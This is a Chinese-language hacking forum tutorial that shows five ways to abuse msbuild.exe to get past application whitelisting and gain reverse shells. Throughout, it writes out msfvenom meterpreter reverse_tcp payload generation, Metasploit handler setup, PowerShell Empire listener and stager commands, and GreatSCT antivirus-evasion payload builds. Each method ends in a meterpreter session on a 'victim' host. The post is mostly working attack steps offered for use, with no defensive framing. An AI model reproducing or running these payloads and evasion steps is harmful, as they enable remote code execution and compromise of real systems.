標題:使用msbuild.exe繞過應用程序白名單(多種方法)

taibeihacker

Moderator

一、MSbuild.exe简介

Microsoft Build Engine是一個用於構建應用程序的平台。此引擎也被稱為msbuild,它為項目文件提供一個XML模式,該模式控制構建平台如何處理和構建軟件。 Visual Studio使用MSBuild,但它不依賴於Visual Studio。通過在項目或解決方案文件中調用msbuild.exe,可以在未安裝Visual Studio的環境中編譯和生成程序。
Visual Studio使用MSBuild加載和生成託管項目。 Visual Studio中的項目文件(.csproj,vbproj,vcxproj和其他)包含MSBuild XML代碼。

二、攻击方法​

1.第一种方法:使用Msfvenom生成CSharp文件​

我們使用Microsoft Visual Studio創建帶有*.csproj後綴的C#(C Sharp)編程項目,該後綴以msbuild格式保存,以便使用msbuild平台將其編譯為可執行程序。
在惡意程序的生成並執行下,我們可以獲得受害者主機的反向shell。因此,現在我們將生成file.csproj文件,為此,首先通過msfvenom生成c#的shellcode。然後,shellcode將被放入到我們的file.csproj中,如下所示
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp
gey4ontgwsu22986.png

上面生成的shellcode應該放在XML文件中,你可以從GitHub下載這個XML文件它有被MSBuild編譯和執行的代碼。此XML文件應保存為file.csproj,並且必須通過MSBuild運行才能獲得Meterpreter會話。
注意:从C#shellcode中替换shellcode值,然后将buf重命名为shellcode,如下图所示:
z2wgxqqtzke22987.png

可以從Visual Studio或命令窗口運行msbuild。通過使用Visual Studio,您可以在.NET框架的任意一個版本上運行編譯一個應用程序。
例如,您可以在32位平台上的.NET Framework 2.0上運行編譯應用程序,並且您可以在64位平台上的.NET Framework 4.5上運行編譯相同的應用程序。編譯到多個框架的任務被稱為多目標。
要了解有關msbuild的更多信息,請閱讀此文章鏈接:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015
現在啟動多處理程序以獲取meterpreter會話,並使用msbuild.exe在目標路徑C:\windows\microsoft.net\framework\v4.0.30319執行file.csproj文件,如圖所示:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exefile.csproj
注意:您需要在此位置保存恶意exploit(XML/csproj)C:\windows\microsoft.net\framework\v4.0.30319\,然後使用命令提示符執行此文件
vp4ypgmdbco22988.png

use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.109
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
如您所見,我們將擁有受害者的meterpreter session ,如下所示:
y5fersjqkrb22989.png

2.第二种方法:生成XML文件以利用MSBuild​

如上所述,msbuild使用基於XML的項目文件格式,該格式簡單且可擴展,因此我們可以將生成的file.csproj重命名為file.xml,然後在目標路徑上使用msbuild.exe再次運行file.xml:c:\windows\microsoft.net\framework\v4.0.30319,如圖所示。
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exefile.xml
lqkzwz4kik122990.png

use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.109
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
如您所見,我們將擁有受害者的meterpreter session ,如下所示:
lmwewbzga4l22991.png

3.第三种方法:Nps_Payload脚本​

此腳本將為基本的入侵檢測的逃逸生成payload。它利用了來自幾個不同來源的公開技術。由Larry Spohn(@spoonman1091)編寫,Payload由Ben Mauch(@ben0xa)編寫,又名Dirty_Ben。你可以從github下載它。
Nps_payload將生成可以使用msbuild.exe和mshta.exe執行的payload,以通過meterpreter會話獲取受害者主機的反向連接。
按照以下步驟生成payload:
從GitHub下載nps exploit後,運行./nps_payload.py腳本
輸入1,然後選擇選項“generate msbuild/nps/msfF”
再次輸入1並選擇payload選項“windows/meterpreter/reverse_tcp”
這將在XML文件中生成payload,在目標位置C:\windows\microsoft.net\framework\v4.0.30319中發送此文件,與前面的方法相同,並在新終端中同時運行下面的命令以啟動偵聽器。
msfconsole -r msbuild_nps.rc
sohqur5a2c122992.png

現在重複上面的步驟,使用命令提示符執行msbuild_nps.xml,並通過meterpreter獲取反向連接,如下所示:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exemsbuild_nps.xml
j0yijzlks3z22994.png

4.第四种方法:PowerShell Empire​

對於我們的下一個msbuild攻擊方法,我們將使用empire。 empire是一款後開發框架。到目前為止,我們已經將我們的XML工具與Metasploit匹配,但在這種方法中,我們將使用empire框架。它只是基於python的PowerShell windows代理,這使得它非常有用。 Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier開發。您可以從https://github.com/EmpireProject/Empire下載此框架。
要獲得empire的基本指南,請訪問我們的文章:
啟動Empire框架後,輸入listener以檢查是否有任何活動的偵聽器。如下圖所示,沒有活動的偵聽器。所以要設置一個偵聽器類型
listeners
uselistner http
set Host http://192.168.1.107
execute
使用上述命令,您將擁有一個活動的偵聽器。輸入back以退出偵聽器,以便啟動PowerShell。
對於我們的msbuild攻擊,我們將使用stager。 empire中的stager是一段代碼段,它允許我們的惡意代碼通過被感染主機上的代理運行。因此,對於這種類型,請輸入以下命令:
usestager windows/launcher_xml
set Listener http
execute
usestager將創建一個惡意代碼文件,該文件將保存在名為launcher.xml的/tmp中。
eiswwc32ac522995.png

一旦文件運行,我們將在偵聽器上獲得結果。通過鍵入以下命令運行受害者的文件:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml
yigeazs0wwn22996.png

要查看是否有會話,請打開輸入命令“agents”。這樣做將向您顯示您擁有的會話的名稱。要訪問該會話請輸入以下命令:
interact A8H14C7L
上面的命令將允許您訪問會話
sysinfo
5vu3kkwlnp222997.png

5.第五种方法:GreatSCT​

GreatSCT是一款允許您使用Metasploit exploit 並允許它繞過大多數反病毒的工具。 GreatSCT目前得到了@ConsciousHacker的支持。您可以從這裡下載:https://github.com/GreatSCT/GreatSCT
下載並執行後,輸入以下命令以訪問模塊:
use Bypass
davybg3gztz22998.png

現在查看payload列表類型:
list
x114xcocziv22999.png

現在,從payload列表中,您可以選擇任何目標進行所需的攻擊。但對於這次攻擊,我們將使用:
use msbuild/meterpreter/rev_tcp.py
rpmkdlbi5sc23000.png

執行命令後,輸入以下命令:
set lhost 192.168.1.107
generate
dmxs2mmh4of23001.png

在生成payload時,它將要求您為payload提供一個名稱。默認情況下,它將以“payload”作為名稱。我們將msbuild作為exploit名稱,輸出代碼將保存在XML中。
lx41qljla1f23002.png

現在,創建了兩個文件。一個Metasploit RC文件和另外一個msbuild.xml文件。
首先,在/usr/share/greatsct output/source中通過輸入以下命令啟動python的服務器:
python -m SimpleHTTPServer 80
eerb2v2rgg223003.png

通過輸入以下命令運行受害者的文件:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml
gexodojcatp23004.png
同時,使用資源文件啟動multi/handler。為此,輸入以下命令:
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
我們擁有一個meterpreter會話,如圖所示:
5yt31qlfkdc23005.png

參考文章:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017
 
返回
上方